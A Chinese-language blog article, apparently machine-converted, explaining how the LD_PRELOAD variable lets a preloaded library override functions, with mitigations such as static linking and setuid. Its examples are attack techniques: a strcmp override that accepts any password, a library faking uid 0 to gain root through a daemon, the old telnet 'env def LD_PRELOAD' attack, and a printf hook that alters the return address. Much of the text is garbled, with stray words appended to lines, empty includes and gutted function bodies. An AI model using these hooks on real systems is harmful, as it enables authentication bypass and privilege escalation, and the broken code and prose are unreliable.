也许这个话题并不新鲜,由于LD_PRELOAD所产生的问题由来已久。不过,在这里,我仍是想讨论一下这个环境变量。由于这个环境变量所带来的安全问题很是严重,值得全部的Unix下的程序员的注意。程序员
在开始讲述为何要小心LD_PRELOAD环 境变量以前,请让我先说明一下程序的连接。所谓连接,也就是说编译器找到程序中所引用的函数或全局变量所存在的位置。通常来讲,程序的连接分为静态连接和 动态连接,静态连接就是把全部所引用到的函数或变量所有地编译到可执行文件中。动态连接则不会把函数编译到可执行文件中,而是在程序运行时动态地载入函数 库,也就是运行连接。因此,对于动态连接来讲,必然须要一个动态连接库。动态连接库的好处在于,一旦动态库中的函数发生变化,对于可执行程序来讲是透明 的,可执行程序无需从新编译。这对于程序的发布、维护、更新起到了积极的做用。对于静态连接的程序来讲,函数库中一个小小的改动须要整个程序的从新编译、 发布,对于程序的维护产生了比较大的工做量。编程
当 然,世界上没有什么东西都是完美的,有好就有坏,有得就有失。动态连接所带来的坏处和其好处同样一样是巨大的。由于程序在运行时动态加载函数,这也就为他 人创造了能够影响你的主程序的机会。试想,一旦,你的程序动态载入的函数不是你本身写的,而是载入了别人的有企图的代码,经过函数的返回值来控制你的程序 的执行流程,那么,你的程序也就被人“劫持”了。sass
LD_PRELOAD简介安全
在UNIX的动态连接库的世界中,LD_PRELOAD就是这样一个环境变量,它能够影响程序的运行时的连接(Runtime linker), 它容许你定义在程序运行前优先加载的动态连接库。这个功能主要就是用来有选择性的载入不一样动态连接库中的相同函数。经过这个环境变量,咱们能够在主程序和 其动态连接库的中间加载别的动态连接库,甚至覆盖正常的函数库。一方面,咱们能够以此功能来使用本身的或是更好的函数(无需别人的源码),而另外一方面,我 们也能够以向别人的程序注入恶意程序,从而达到那不可告人的罪恶的目的。分布式
咱们知道,Linux的用的都是glibc,有一个叫libc.so.6的文件,这是几乎全部Linux下命令的动态连接中,其中有标准C的各类函数。对于GCC而言,默认状况下,所编译的程序中对标准C函数的连接,都是经过动态连接方式来连接libc.so.6这个函数库的。函数
OK。仍是让我用一个例子来看一下用LD_PRELOAD来hack别人的程序。测试
示例一ui
咱们写下面一段例程:spa
/* 文件名:verifypasswd.c */
/* 这是一段判断用户口令的程序,其中使用到了标准C函数strcmp*/
#include
#include
int main(int argc, char **argv)
{
char passwd[] = "password";
if (argc < 2) {
}
if (!strcmp(passwd, argv[1])) {
}
printf("Invalid Password!\n");
}
在上面这段程序中,咱们使用了strcmp函数来判断两个字符串是否相等。下面,咱们使用一个动态函数库来重载strcmp函数:
int strcmp(const char *s1, const char *s2)
{
/* 永远返回0,表示两个字符串相等 */
}
编译程序:
$ gcc -o verifypasswd verifypasswd.c
$ gcc -shared -o hack.so hack.c
测试一下程序:(获得正确结果)
$ ./verifypasswd asdf
Invalid Password!
设置LD_PRELOAD变量:(使咱们重写过的strcmp函数的hack.so成为优先载入连接库)
$ export LD_PRELOAD="./hack.so"
再次运行程序:
$ ./verifypasswd asdf
hack function invoked. s1= s2=
Correct Password!
咱们能够看到,1)咱们的hack.so中的strcmp被调用了。2)主程序中运行结果被影响了。若是这是一个系统登陆程序,那么这也就意味着咱们用任意口令均可以进入系统了。
示例二
让咱们再来一个示例(这个示例来源于个人工做)。这个软件是一个分布式计算平台,软件在全部的计算机上都有以ROOT身份运行的侦听程序(Daemon),用户能够把的一程序从A计算机提交到B计算机上去运行。这些Daemon会把用户在A计算机上的全部环境变量带到B计算机上,在B计算机上的Daemon会fork出一个子进程,并
且Daemon会调用seteuid、setegid来设置子程的执行宿主,并在子进程空间中设置从A计算机带过来的环境变量,以仿真用户的运行环境。(注意:A和B都运行在NIS/NFS方式上)
因而,咱们能够写下这样的动态连接库:
/* 文件名:preload.c */
#include #include #include
uid_t geteuid( void ) { return 0; } uid_t getuid( void ) { return 0; } uid_t getgid( void ) { return 0; }
|
在这里咱们能够看到,咱们重载了系统调用。因而咱们能够经过设置LC_PRELOAD来迫使主程序使用咱们的geteuid/getuid/getgid(它们都返回0,也就是Root权限)。这会致使,上述的那个分布式计算平台的软件在提交端A计算机上调用了geteuid获得当前用户ID是0,并把这个用户ID传到了执行端B计算机上,因而B计算机上的Daemon就会调用seteuid(0),致使咱们的程序运行在了Root权限之下。从而,用户取得了超级用户的权限而随心所欲。
上面的这个preload.c文件也就早期的为人所熟知的hack程序了。恶意用户经过在系统中设计LC_PRELOAD环境变量来加载这个动态连接库,会很是容易影响其它系统命令(如:/bin/sh, /bin/ls, /bin/rm 等),让这些系统命令以Root权限运行。
让咱们看一下这个函数是怎么影响系统命令的:
$ id
$ gcc -shared -o preload.so preload.c
$ setenv LD_PRELOAD ./preload.so
$ id
uid=0(root) gid=0(root) egid=10(wheel) groups=10(wheel)
$ whoami
root
$ /bin/sh
# <------ 你能够看到命令行提示符会由 $ 变成 #
下面是一个曾经很是著名的系统攻击
$ telnet telnet> env def LD_PRELOAD /home/hchen/test/preload.so telnet> open localhost # |
固然,这个安全BUG早已被Fix了(虽然,经过id或是whoami或是/bin/sh让你以为你像是root,但其实你并无root的权限),当今的Unix系统中不会出现这个的问题。但这并不表明,咱们本身写的程序,或是第三方的程序可以避免这个问题,尤为是那些以Root方式运行的第三方程序。
因此,在咱们编程时,咱们要随时警戒着LD_PRELOAD。
如何避免
不能否认,LD_PRELOAD是一个很难缠的问题。目前来讲,要解决这个问题,只能千方百计让LD_PRELOAD失效。目前而言,有如下面两种方法可让LD_PRELOAD失效。
1)经过静态连接。使用gcc的-static参数能够把libc.so.6静态链入执行程序中。但这也就意味着你的程序再也不支持动态连接。
2)经过设置执行文件的setgid / setuid标志。在有SUID权限的执行文件,系统会忽略LD_PRELOAD环境变量。也就是说,若是你有以root方式运行的程序,最好设置上SUID权限。(如:chmod 4755 daemon)
在一些UNIX版本上,若是你想要使用LD_PRELOAD环境变量,你须要有root权限。但无论怎么说,这些个方法目前来看并非一个完全的解决方案,只是一个Workaround的方法,是一种因噎废食的作法,为了安全,只能禁用。
另外一个示例
最后,让我以一个更为“变态”的示例来结束这篇文章吧(这个示例来自某俄罗斯黑客)。看看咱们还能用LD_PRELOAD来干点什么?下面这个程序comp.c,咱们用来比较a和b,很明显,a和b不相等,因此,怎么运行都是程序打出Sorry,而后退出。这个示例会告诉咱们如何用LD_PRELOAD让程序打印OK。
/* 源文件:comp.c 执行文件:comp*/
#include
int main(int argc, char **argv)
{
}
咱们先来用GDB来研究一下程序的反汇编。注意其中的红色部分。那就是if语句。若是条件失败,则会转到<main+75>。固然,用LD_PRELOAD没法影响表达式,其只能只能影响函数。因而,咱们能够在printf上动点歪脑筋。
(gdb) disassemble main
Dump of assembler code for function main:
0x08048368 <main+0>: push %ebp
0x08048369 <main+1>: mov %esp,%ebp
0x0804836b <main+3>: sub $0x18,%esp
0x0804836e <main+6>: and $0xfffffff0,%esp
0x08048371 <main+9>: mov $0x0,%eax
0x08048376 <main+14>: add $0xf,%eax
0x08048379 <main+17>: add $0xf,%eax
0x0804837c <main+20>: shr $0x4,%eax
0x0804837f <main+23>: shl $0x4,%eax
0x08048382 <main+26>: sub %eax,%esp
0x08048384 <main+28>: movl $0x1,0xfffffffc(%ebp)
0x0804838b <main+35>: movl $0x2,0xfffffff8(%ebp)
0x08048392 <main+42>: mov 0xfffffffc(%ebp),%eax
0x08048395 <main+45>: cmp 0xfffffff8(%ebp),%eax
0x0804839a <main+50>: sub $0xc,%esp
0x0804839d <main+53>: push $0x80484b0
0x080483a7 <main+63>: add $0x10,%esp
0x080483aa <main+66>: movl $0x0,0xfffffff4(%ebp)
0x080483b1 <main+73>: jmp 0x80483ca<main+98>
0x080483b3 <main+75>: sub $0xc,%esp
0x080483b6 <main+78>: push $0x80484b8
0x080483bb <main+83>: call 0x80482b0
0x080483c0 <main+88>: add $0x10,%esp
0x080483c3 <main+91>: movl $0x1,0xfffffff4(%ebp)
0x080483ca <main+98>: mov 0xfffffff4(%ebp),%eax
0x080483cd <main+101>: leave
0x080483ce <main+102>: ret
End of assembler dump.
下面是咱们重载printf的so文件。让printf返回后的栈地址变成<main+75>。从而让程序接着执行。下面是so文件的源,都是让人反感的汇编代码。
#include
static int (*_printf)(const char *format, ...) = NULL;
int printf(const char *format, ...)
{
if (_printf == NULL) {
/* 取得标准库中的printf的函数地址 */
_printf = (int (*)(const char *format, ...)) dlsym(RTLD_NEXT, "printf");
/* 把函数返回的地址置到<main+< span="">75> */
/* 重置 printf的返回地址 */
);
}
你能够在你的Linux下试试这段代码。:)